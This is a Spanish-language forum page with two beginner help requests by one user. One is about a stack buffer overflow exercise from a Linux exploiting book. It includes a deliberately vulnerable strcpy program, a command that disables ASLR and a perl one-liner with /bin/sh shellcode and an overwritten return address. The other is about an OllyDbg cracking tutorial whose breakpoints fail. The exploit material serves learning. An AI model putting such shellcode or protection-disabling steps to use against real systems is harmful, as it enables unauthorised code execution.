Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - d00rt

#1
Buenas, estoy iniciándome en esto del exploiting y bueno también en lo que es la ingeniería inversa que por lo poco que he visto de ambos algo tienen en común (no se aun hasta que punto).

Estoy siguiendo el libro de "Linux Exploiting" de David Puente Castro, y no avanzo de las primeras paginas porque no consigo ejecutar una shellcode bastante sencilla, y eso que he seguido los pasos poco a poco, sin embargo a el le sale y a mi no y no tengo ni idea del porque sera.

Trabajo sobre una maquina virtual, Debian 32bits (igual que el hace en el libro) y hago lo siguiente (como el indica en el libro):

echo 0 > /proc/sys/kernel/randomize_va_space

Para eliminar una de las protecciones que trae el propio sistema operativo.

El código sobre el que quiero hacer el buffer overflow es el siguiente:


#include <string.h>
#include <stdio.h>
void func(char *arg)
{
        char nombre[32];
        strcpy(nombre, arg);
        printf("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main(int argc, char *argv[])
{
        if ( argc != 2 ) {
                printf("Uso: %s NOMBRE\n", argv[0]);
                exit(0);
        }
        func(argv[1]);
        printf("Fin del programa\n\n");
        return 0;
}


Como vereis en la variable Nombre es donde tengo que introducir el shellcode.

Para sobrescribir el registro EIP o RET Necesito un relleno de 44 bytes.
Con el gdb, consigo ver cual es la dirección de inicio del buffer nombre, para que después de que introduzca mi shellcode en el buffer y lo rellene con bytes de relleno meter esa dirección en la parte que sobrescribe el EIP (quiza los que sean novatos como yo no entiendan muy bien esto que he dicho ya que es un poco enredoso, pero espero que a los que sepan no les haya costado entenderlo y puedan ayudarme) La direccion de inicio del buffer nombre que me da es 0xbffff680

Ejecuto el programa de la siguiente forma:

./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`

De la misma forma que en el libro, pero lo único que cambia es la dirección a la que mandamos el registro EIP o RET ya que en cada maquina resulta diferente.

A el una vez ejecutado esto, se le ejecuta el /bin/bash mientras que a mi me sale un bonito ERROR que dice "Instrucción Ilegal", no se a que puede deberse ya que sigo los mismos pasos que el.

El programa lo ejecuto de la siguiente forma:

gcc -fno-stack-protector -z execstack prog.c -o prog

Como el indica en el libro, la única diferencia es que ami me sale un warning que me dice algo de la función exit mientras que a el no, pero no creo que sea de esto el problema.

Espero que me podáis ayudar ya que no quiero seguir avanzando sin poder conseguir esto que parece bastante básico

Gracias de antemano,
d00rt
#2
Hola muy buenas, estoy empezando con los tutoriales de introducción al cracking con OLLYDBG de Ricardo Narvaja que supongo que todos o la mayoría conoceréis.

Mi problema es que a la hora de hacer las pruebas con el programa "LECCION 13 HARDCODED 1.exe" en el que hay que poner los BreakPoints en la entrada de las funciones MessageBoxA y GetDlgItemTextA correspondientes al DLL User32, una vez que los he puesto, y ejecuto el programa para poder llegar a esos BreakPoints, no me para en ningun lado, ni siquiera me aparece el programa en si, pero en el OLLYDBG me pone que esta Running el programa.

En elFLAG O (No se para que es este FLAG) me aparece lo siguiente: ERROR_SUCCESS (00000000) no se si tendra esto algo que ver.

Sin embargo si ejecuto el programa desde el OLLYDBG sin poner los BreakPoints si que me ejecuta el programa correctamente.

Estoy utilizando la misma version OLLYDBG que en los tutoriales, pero el sistema operativo que estoy utilizando es el WIN7, no se si tendra que ver algo de esto con el problema

Muchisimas gracias de antemano!

D00RT

EDITO: Uso Windows 7 64 bits, para ver si era este el problema, me he descargado la iso de Windows XP 32 bits, y lo he instalado en una maquina virtual, desde esa maquina virtual e vuelto a ejecutar OLLYDBG y me sigue dando el mismo problema

Mod: Titulo modificado, no escribas en mayúsculas